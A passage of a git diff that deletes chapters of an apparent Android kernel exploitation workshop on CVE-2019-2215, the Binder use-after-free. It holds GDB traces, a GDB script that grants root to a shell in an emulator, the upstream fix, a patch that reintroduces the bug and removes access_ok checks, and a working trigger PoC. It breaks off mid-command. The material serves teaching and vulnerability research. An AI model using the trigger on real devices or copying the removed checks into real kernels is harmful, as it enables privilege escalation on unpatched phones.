to `binder_thread->wait.head.next` and `binder_thread->wait.head.prev`, basically **unlink** `eppoll_entry->wait.entry` from `binder_thread->wait.head`. - -This is a much better primitive from the point of view of **exploitation** than the first use of **dangling chunk**. - -Below given diagrams shows how **circular double linked list** works so that you have better picture of what's really happening. - - -Let's see how a single initialized node `node1` looks like. In out context, `node1` is `binder_thread->wait.head` and `node2` is `eppoll_entry->wait.entry`. - -

                  - Double Link List Single Node -

                  - -Now, let's see how two nodes `node1` and `node2` are linked. - -

                  - Double Link List Two Nodes -

                  - -Now, let's see how `node1` node looks like when `node2` node is linked. - -

                  - Double Link List Unlink -

                  - - -### Static Analysis Recap {#static-analysis-recap} - -Let's do a recap of what we understood from the **root cause analysis** section. - -In the beginning of the **[Static Analysis](root-cause-analysis.md#static-analysis)** section we asked **three** questions, let's try to answer those. - -* Why `binder_thread` structure was **allocated**? - * `ep_insert` function triggers the call to `binder_poll` by calling `ep_item_poll` function - * `binder_poll` tries to find a **thread** to use from the **red black tree** node and if it's not found, a new `binder_thread` structure is allocated - - -* Why `binder_thread` structure was **freed**? - * `binder_thread` structure is freed when `ioctl` system call is called explicitly, passing `BINDER_THREAD_EXIT` as the operation code - - -* Why the use of `binder_thread` structure happened when it's already **freed**? - * **pointer** to `binder_thread->wait.head` is not removed from `eppoll_entry->whead` and `eppoll_entry->wait.entry` when `binder_thread` structure is **freed** explicitly - * when the `eventpoll` is removed by calling `epoll_ctl` and passing `EPOLL_CTL_DEL` as the operation parameter, it tries to **unlink** all the **wait queues** and uses the **dangling** `binder_thread` structure - - -## Dynamic Analysis {#dynamic-analysis} - -In this section, we will look into how we can use **GDB** automation to understand the crash behavior. - -But before we start doing that, we need to make a hardware changes to the **Android Virtual Device** named **CVE-2019-2215** we created in **[Android Virtual Device](chapters/environment-setup.md#android-virtual-device)** section. - -We also need to build the **Android Kernel** without **KASan**, because we don't need the **KASan** support now. - - -### hw.cpu.ncore {#hw-cpu-ncore} - -For better **GDB** debugging and tracing support, it's recommended to set the number of **CPU cores** to **1**. - -Open `~/.android/avd/CVE-2019-2215.avd/config.ini` in a text editor and change line `hw.cpu.ncore = 4` to `hw.cpu.ncore = 1`. - - -### Build Kernel Without KASan {#build-kernel-without-kasan} - -This section is exactly same as **[Build Kernel With KASan](vulnerability-trigger.md#build-kernel-with-kasan)**, but this time, we will use a different config file. - -You will find the config file in `workshop/build-configs/goldfish.x86_64.relwithdebinfo` directory. - -```bash -ARCH=x86_64 -BRANCH=relwithdebinfo - -CC=clang -CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin -BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 -CLANG_TRIPLE=x86_64-linux-gnu- -CROSS_COMPILE=x86_64-linux-androidkernel- -LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin - -KERNEL_DIR=goldfish -EXTRA_CMDS='' -STOP_SHIP_TRACEPRINTK=1 - -FILES=" -arch/x86/boot/bzImage -vmlinux -System.map -" - -DEFCONFIG=x86_64_ranchu_defconfig -POST_DEFCONFIG_CMDS="check_defconfig && update_debug_config" - -function update_debug_config() { - ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ - -e CONFIG_FRAME_POINTER \ - -e CONFIG_DEBUG_INFO \ - -d CONFIG_DEBUG_INFO_REDUCED \ - -d CONFIG_KERNEL_LZ4 \ - -d CONFIG_RANDOMIZE_BASE - (cd ${OUT_DIR} && \ - make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) -} -``` - -Now, let's use this config file and start the build process. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.relwithdebinfo build/build.sh -``` - - -### Kernel Tracing {#kernel-tracing} - -Our goal is to use **GDB** python **breakpoint** automation to trace function calls and dump the `binder_thread` structure chunk before and after it's **freed**. Also dump the same `binder_thread` structure before and after the **unlink** operation has been done. - -You can find a python file `~/workshop/gdb/dynamic-analysis.py`, where I have written some debugging automation to debug this vulnerability at **runtime**. - -Let's boot **emulator** with the newly built kernel. - - -> **Note:** The *patch* to reintroduce the vulnerability is already applied. - - -We need four terminal windows this time. Open the first terminal window and launch **emulator**. - -```bash -ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage -qemu -s -S -``` - -In the second window, we will use **GDB** to attach to the `qemu` instance. - -```bash -ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -ex 'target remote :1234' -``` - -``` -GEF for linux ready, type `gef' to start, `gef config' to configure -77 commands loaded for GDB 8.2 using Python engine 2.7 -[*] 3 commands could not be loaded, run `gef missing` to know why. -Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done. -Remote debugging using :1234 -warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml" -warning: Could not load XML target description; ignoring -0x000000000000fff0 in exception_stacks () -gef> c -Continuing. -``` - -Once the **Android** is booted completely, open the third terminal window and where we will build the vulnerability trigger and push it to the **virtual device**. - -```bash -ashfaq@hacksys:~/workshop$ cd exploit/ -ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger -Building: cve-2019-2215-trigger -Pushing: cve-2019-2215-trigger to /data/local/tmp -cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s) -``` - -Now, in the **GDB** window press **CTRL+C** to break in **GDB** so that we can load the custom python script. - -You can find `dynamic-analysis.py` which is an automation built on top of `GDB` python scripting in `workshop/gdb`. - -``` -gef> c -Continuing. -^C -Program received signal SIGINT, Interrupt. -native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61 -61 } -gef> source ~/workshop/gdb/dynamic-analysis.py -Breakpoint 1 at 0xffffffff80824047: file /home/ashfaq/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701. -Breakpoint 2 at 0xffffffff802aa586: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50. -gef> c -Continuing. -``` - -Now, we can open the fourth terminal window, launch `adb` shell and run the trigger PoC. - -```bash -ashfaq@hacksys:~/workshop/exploit$ adb shell -generic_x86_64:/ $ cd /data/local/tmp -generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger -generic_x86_64:/data/local/tmp $ -``` - -As soon as you execute the trigger PoC, you will see this in the **GDB** terminal window. - -``` -binder_free_thread(thread=0xffff88800c18f200)(enter) -0xffff88800c18f200: 0xffff88806793c000 0x0000000000000001 -0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 -0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 -0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 -0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 -0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0 -0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000 -0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 -0xffff88800c18f390: 0xffff88806d4bb200 - -remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) -0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001 -0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 -0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 -0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 -0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 -0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0 -0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000 -0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 -0xffff88800c18f390: 0xffff88806d4bb200 - -Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53. -remove_wait_queue_wait.c:52(exit) -0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001 -0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 -0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 -0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 -0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 -0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 -0xffff88800c18f2a0: 0x0000000000000000 0xffff88800c18f2a8 -0xffff88800c18f2b0: 0xffff88800c18f2a8 0x0000000000000000 -0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 -0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 -0xffff88800c18f390: 0xffff88806d4bb200 -``` - -Now, let's analyze the output and try to understand what's happening. - -If you remember, `binder_free_thread` is the function that will eventually free the `binder_thread` structure. - -*After* **free** and *before* the **unlink** operation happens on `binder_thread` structure. - -``` -0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0 -0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000 -``` - -`0xffff88800c18f2a0 + 0x8` is the offset of `binder_thread->wait.head` which links `eppoll_entry->wait.entry`. - -``` -gef> p offsetof(struct binder_thread, wait.head) -$1 = 0xa8 -``` - -`0xffff88805c05cae0` is pointer to `eppoll_entry->wait.entry` which is of type `struct list_head`. - -*After* the **unlink** operation happened on `binder_thread` structure. - -``` -0xffff88800c18f2a0: 0x0000000000000000 0xffff88800c18f2a8 -0xffff88800c18f2b0: 0xffff88800c18f2a8 0x0000000000000000 -``` - -If you see closely, after the **unlink** operation happened, a **pointer** to `binder_thread->wait.head` is written to `binder_thread->wait.head.next` and `binder_thread->wait.head.prev`. - -This is exactly what we figured out in the **[Static Analysis](root-cause-analysis.md#static-analysis)** section. diff --git a/gitbook/chapters/scripted-privilege-escalation.md b/gitbook/chapters/scripted-privilege-escalation.md deleted file mode 100644 index 930c93a..0000000 --- a/gitbook/chapters/scripted-privilege-escalation.md +++ /dev/null @@ -1,202 +0,0 @@ -# Scripted Privilege Escalation - -Before moving to **[Root Cause Analysis](root-cause-analysis.md)** chapter, let's first see how we can achieve **privilege escalation** using custom **GDB** script. - -In **[Build Kernel](vulnerability-trigger.md#build-kernel)** and **[Boot Kernel](vulnerability-trigger.md#boot-kernel)**, you learned how to **build** and **boot** a custom kernel in **emulator**. - -**GDB** supports python scripting, let's see how we can use python for **debugging automation**. - - -## Kernel Debugging {#kernel-debugging} - -**emulator** uses `qemu` in the background and it supports **gdbserver** known as **gdbstub**. We can use it to do **kernel debugging**, if we have the `vmlinux` file for the corresponding kernel. - -Let's boot the custom kernel that we built, but this time, with **gdbstub** enabled. For this we will need two terminal windows. - -In the first window, we will run the **emulator** with **gdbstub** enabled. - -```bash -ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S -``` - - -> **Note:** `-qemu` arguments states that the next parameters will be passed to underlying `qemu` emulator. `-s` argument is for `qemu` which is a shorthand for `-gdb tcp::1234`. `-S` argument makes `qemu` to wait for the debugger to connect. - - -In the second window, we will use **GDB** to attach to the `qemu` instance. - -```bash -ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234' -``` - -``` -GEF for linux ready, type `gef' to start, `gef config' to configure -77 commands loaded for GDB 8.2 using Python engine 2.7 -[*] 3 commands could not be loaded, run `gef missing` to know why. -Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done. -Remote debugging using :1234 -warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml" -warning: Could not load XML target description; ignoring -0x000000000000fff0 in exception_stacks () -gef> c -Continuing. -``` - -Once the **Android** is booted completely, we can open the third terminal window and launch `adb` shell. - -```bash -ashfaq@hacksys:~/workshop$ adb shell -generic_x86_64:/ $ uname -a -Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 -generic_x86_64:/ $ id -uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 -generic_x86_64:/ $ -generic_x86_64:/ $ dmesg -dmesg: klogctl: Permission denied -1|generic_x86_64:/ $ -1|generic_x86_64:/ $ pidof sh -7474 -generic_x86_64:/ $ -``` - -In the `adb` shell window, we can see that currently we are running with `uid=2000(shell) gid=2000(shell)` and does not have rights to see `dmesg`. To read `dmesg`, we will need **root** privileges. - -`pidof sh` is `7474`, our goal is to use **kernel debugging** with **GDB** automation to do privilege escalation and give the **root** privileges to this `sh` process. - -Now, in the **GDB** window press **CTRL+C** to break in **GDB** so that we can issue some commands. - -You can find `root-me.py` which is an automation built on top of `GDB` python scripting in `~/workshop/gdb`. - -```py -# -*- coding: utf-8 -*- - -import gdb -import struct - -[...] - -def write32(address, value): - gdb.selected_inferior().write_memory(address, struct.pack(" c -Continuing. -^C -Thread 1 received signal SIGINT, Interrupt. -native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61 -61 } -gef> source ~/workshop/gdb/root-me.py -gef> root-by-pid 7474 -[+] Rooting - [*] PID: 0x1d32 - [*] Cmd: sh - [*] Task: 0xffff888033521d40 -[+] Patching cred - [*] Cred: 0xffff8880580f1480 -[+] Patching selinux_enforcing - [*] selinux_enforcing: 0xffffffff82b34028 -[*] Rooting complete -gef> c -Continuing. -``` - -Let's verify if `sh` process is having **root** privileges. - -```bash -generic_x86_64:/ $ dmesg -dmesg: klogctl: Permission denied -1|generic_x86_64:/ $ -1|generic_x86_64:/ $ id -uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 -generic_x86_64:/ $ -generic_x86_64:/ $ dmesg | head -[ 34.036876] apexd: Scanning /product/apex for embedded keys -[ 34.037889] apexd: ... does not exist. Skipping -[ 34.038743] apexd: Populating APEX database from mounts... -[ 34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory -[ 34.042497] apexd: Found "/apex/com.android.tzdata@290000000" -[ 34.043586] apexd: Found "/apex/com.android.runtime@1" -[ 34.044542] apexd: 2 packages restored. -[ 34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 -[ 34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 -[ 34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 -``` - -Awesome, **privilege escalation** is successful and we are going to achieve the same thing using a **kernel vulnerability**. diff --git a/gitbook/chapters/vulnerability-discovery.md b/gitbook/chapters/vulnerability-discovery.md deleted file mode 100644 index 8311641..0000000 --- a/gitbook/chapters/vulnerability-discovery.md +++ /dev/null @@ -1,83 +0,0 @@ -# Vulnerability Discovery - -We are going to look at `CVE-2019-2215` which is a `Use after Free` vulnerability in **Binder IPC** subsystem. - -This is a very **severe** vulnerability because **binder** subsystem is reachable from **Chrome sandbox** and can lead to privilege escalation if chained with a **renderer exploit**. - - -## Original Discovery {#original-discovery} - -This bug was initially discovered by **syzbot (syzkaller bot)** in the month of **November 2017** without a reproducer. In the month of **December 2017** **syzbot** was able to find a reproducer. You can find the original bug report here https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ - -This bug was patched in **February 2018** without a **CVE** number. Hence, the patch was not **back-ported** to many already released devices like **Pixel** and **Pixel 2**. - - -## Rediscovery {#rediscovery} - -This bug was rediscovered by **Maddie Stone (@maddiestone)** of **Project Zero** based on an intelligence report from Google's **Threat Analysis Group (TAG)**. She reported this vulnerability on **27th September 2019**. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - -The rediscovery of this bug is very interesting, **Maddie** documented it with the exploitation primitive here https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html - -I strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug. - - -## Patch {#patch} - -This bug got *patched* in `q-goldfish-android-goldfish-4.14-dev` with commit id `7a3cee43e935b9d526ad07f20bf005ba7e74d05b`. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ -ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b -``` - -```diff -commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b -Author: Martijn Coenen -Date: Fri Jan 5 11:27:07 2018 +0100 - - ANDROID: binder: remove waitqueue when thread exits. - - commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream. - - binder_poll() passes the thread->wait waitqueue that - can be slept on for work. When a thread that uses - epoll explicitly exits using BINDER_THREAD_EXIT, - the waitqueue is freed, but it is never removed - from the corresponding epoll data structure. When - the process subsequently exits, the epoll cleanup - code tries to access the waitlist, which results in - a use-after-free. - - Prevent this by using POLLFREE when the thread exits. - - Signed-off-by: Martijn Coenen - Reported-by: syzbot - Signed-off-by: Greg Kroah-Hartman - -diff --git a/drivers/android/binder.c b/drivers/android/binder.c -index a340766b51fe..2ef8bd29e188 100644 ---- a/drivers/android/binder.c -+++ b/drivers/android/binder.c -@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc, - if (t) - spin_lock(&t->lock); - } -+ -+ /* -+ * If this thread used poll, make sure we remove the waitqueue -+ * from any epoll data structures holding it with POLLFREE. -+ * waitqueue_active() is safe to use here because we're holding -+ * the inner lock. -+ */ -+ if ((thread->looper & BINDER_LOOPER_STATE_POLL) && -+ waitqueue_active(&thread->wait)) { -+ wake_up_poll(&thread->wait, POLLHUP | POLLFREE); -+ } -+ - binder_inner_proc_unlock(thread->proc); - - if (send_reply) -``` - - -> **Note:** You won't be able to see this commit history because we did a shallow clone. However, I have a **full** clone of the `q-goldfish-android-goldfish-4.14-dev` branch. diff --git a/gitbook/chapters/vulnerability-trigger.md b/gitbook/chapters/vulnerability-trigger.md deleted file mode 100644 index bb24ff7..0000000 --- a/gitbook/chapters/vulnerability-trigger.md +++ /dev/null @@ -1,462 +0,0 @@ -# Vulnerability Trigger - -In **[Android Kernel Source Code](environment-setup.md#android-kernel-source-code)** section, we *synchronized* `q-goldfish-android-goldfish-4.14-dev` branch. However, `CVE-2019-2215` is already patched in `q-goldfish-android-goldfish-4.14-dev`. - -We will **reintroduce** the **vulnerability** by applying a custom *patch* and then build it with **Kernel Address Sanitizer (KASan)** support. - - -## Reintroduction {#reintroduction} - -You can find the custom *patch* in the `workshop/patch` directory which will **reintroduce** the vulnerability again. - -```diff -diff --git a/drivers/android/binder.c b/drivers/android/binder.c -index f6ddec245187..55e2748a13e4 100644 ---- a/drivers/android/binder.c -+++ b/drivers/android/binder.c -@@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc, - * waitqueue_active() is safe to use here because we're holding - * the inner lock. - */ -+ /* - if ((thread->looper & BINDER_LOOPER_STATE_POLL) && - waitqueue_active(&thread->wait)) { - wake_up_poll(&thread->wait, POLLHUP | POLLFREE); - } -+ */ - - binder_inner_proc_unlock(thread->proc); - -@@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc, - * descriptor being closed); ep_remove_waitqueue() holds an RCU read - * lock, so we can be sure it's done after calling synchronize_rcu(). - */ -+ /* - if (thread->looper & BINDER_LOOPER_STATE_POLL) - synchronize_rcu(); -+ */ - - if (send_reply) - binder_send_failed_reply(send_reply, BR_DEAD_REPLY); -diff --git a/lib/iov_iter.c b/lib/iov_iter.c -index 7b2fd5f251f2..67af61637f55 100644 ---- a/lib/iov_iter.c -+++ b/lib/iov_iter.c -@@ -132,19 +132,21 @@ - - static int copyout(void __user *to, const void *from, size_t n) - { -- if (access_ok(VERIFY_WRITE, to, n)) { -+ /*if (access_ok(VERIFY_WRITE, to, n)) { - kasan_check_read(from, n); - n = raw_copy_to_user(to, from, n); -- } -+ }*/ -+ n = raw_copy_to_user(to, from, n); - return n; - } - - static int copyin(void *to, const void __user *from, size_t n) - { -- if (access_ok(VERIFY_READ, from, n)) { -+ /*if (access_ok(VERIFY_READ, from, n)) { - kasan_check_write(to, n); - n = raw_copy_from_user(to, from, n); -- } -+ }*/ -+ n = raw_copy_from_user(to, from, n); - return n; - } - - -``` - -Let's apply the *patch* and see which files are modified. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ -ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status -Not currently on any branch. -nothing to commit, working tree clean -ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch -ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status -Not currently on any branch. -Changes not staged for commit: - (use "git add ..." to update what will be committed) - (use "git checkout -- ..." to discard changes in working directory) - - modified: drivers/android/binder.c - modified: lib/iov_iter.c - -no changes added to commit (use "git add" and/or "git commit -a") -``` - -Patching `drivers/android/binder.c` is fine and understandable. But, why we need to *patch* `lib/iov_iter.c`? - -This is because we are also going to use `struct iovec` as the corruption target as used by **Maddie Stone** and **Jann Horn** of **Project Zero**. However, they wrote the exploit for **Android 4.4** kernel which does not have these **additional checks** in `lib/iov_iter.c`. - -That's the reason we revert these new checks with a *patch*. You will have better idea what I'm talking about as we proceed with the workshop. - - -## Build Kernel With KASan {#build-kernel-with-kasan} - -To build the kernel with **KASan** support we will need a configuration file. You will find the config file in `workshop/build-configs/goldfish.x86_64.kasan` directory. - -```bash -ARCH=x86_64 -BRANCH=kasan - -CC=clang -CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin -BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 -CLANG_TRIPLE=x86_64-linux-gnu- -CROSS_COMPILE=x86_64-linux-androidkernel- -LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin - -KERNEL_DIR=goldfish -EXTRA_CMDS='' -STOP_SHIP_TRACEPRINTK=1 - -FILES=" -arch/x86/boot/bzImage -vmlinux -System.map -" - -DEFCONFIG=x86_64_ranchu_defconfig -POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config" - -function update_kasan_config() { - ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ - -e CONFIG_KASAN \ - -e CONFIG_KASAN_INLINE \ - -e CONFIG_TEST_KASAN \ - -e CONFIG_KCOV \ - -e CONFIG_SLUB \ - -e CONFIG_SLUB_DEBUG \ - -e CONFIG_SLUB_DEBUG_ON \ - -d CONFIG_SLUB_DEBUG_PANIC_ON \ - -d CONFIG_KASAN_OUTLINE \ - -d CONFIG_KERNEL_LZ4 \ - -d CONFIG_RANDOMIZE_BASE - (cd ${OUT_DIR} && \ - make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) -} -``` - -Now, let's use this config file and start the build process. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh -``` - -You can find the built kernel and other files in `workshop/android-4.14-dev/out/kasan/dist`. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head -000000004cfd027e A __crc_kasan_check_read -000000009da7c655 A __crc_kasan_check_write -0000000074961168 A __crc_kasan_kmalloc -0000000047f78877 A __crc_kasan_restore_multi_shot -0000000097645739 A __crc_kasan_save_enable_multi_shot -ffffffff806d4d62 T kasan_add_zero_shadow -ffffffff806d3a9c T kasan_alloc_pages -ffffffff806d3b44 T kasan_cache_create -ffffffff806d55b9 T kasan_cache_shrink -ffffffff806d55c4 T kasan_cache_shutdown -``` - - -## Boot Kernel {#boot-kernel} - -Let's boot this custom kernel in **emulator**. - -```bash -ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -``` - - -> **Note:** `-show-kernel` flag is used to display kernel debug messages in the terminal window. Read more about emulator command line flags here https://developer.android.com/studio/run/emulator-commandline - - -If you look at kernel log being displayed in the terminal window after running the above command, you will notice this - -``` -[ 0.000000] kasan: KernelAddressSanitizer initialized -``` - -This is an indicator that we are able to successfully boot a custom kernel built with **KASan** support. - - -## Crash {#crash} - -Let's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a **KASan** crash. - -You can find the trigger PoC in `workshop/exploit/trigger.cpp`. I have provided a `Makefile` that you can use to build the PoC and push it to the **virtual device**. - -```cpp -#include -#include -#include -#include - -#define BINDER_THREAD_EXIT 0x40046208ul - -int main() { - int fd, epfd; - struct epoll_event event = {.events = EPOLLIN}; - - fd = open("/dev/binder", O_RDONLY); - epfd = epoll_create(1000); - epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); - ioctl(fd, BINDER_THREAD_EXIT, NULL); -} -``` - -```bash -ashfaq@hacksys:~/workshop$ cd exploit/ -ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger -Building: cve-2019-2215-trigger -Pushing: cve-2019-2215-trigger to /data/local/tmp -cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s) -``` - -```bash -ashfaq@hacksys:~/workshop/exploit$ adb shell -generic_x86_64:/ $ uname -a -Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 -generic_x86_64:/ $ cd 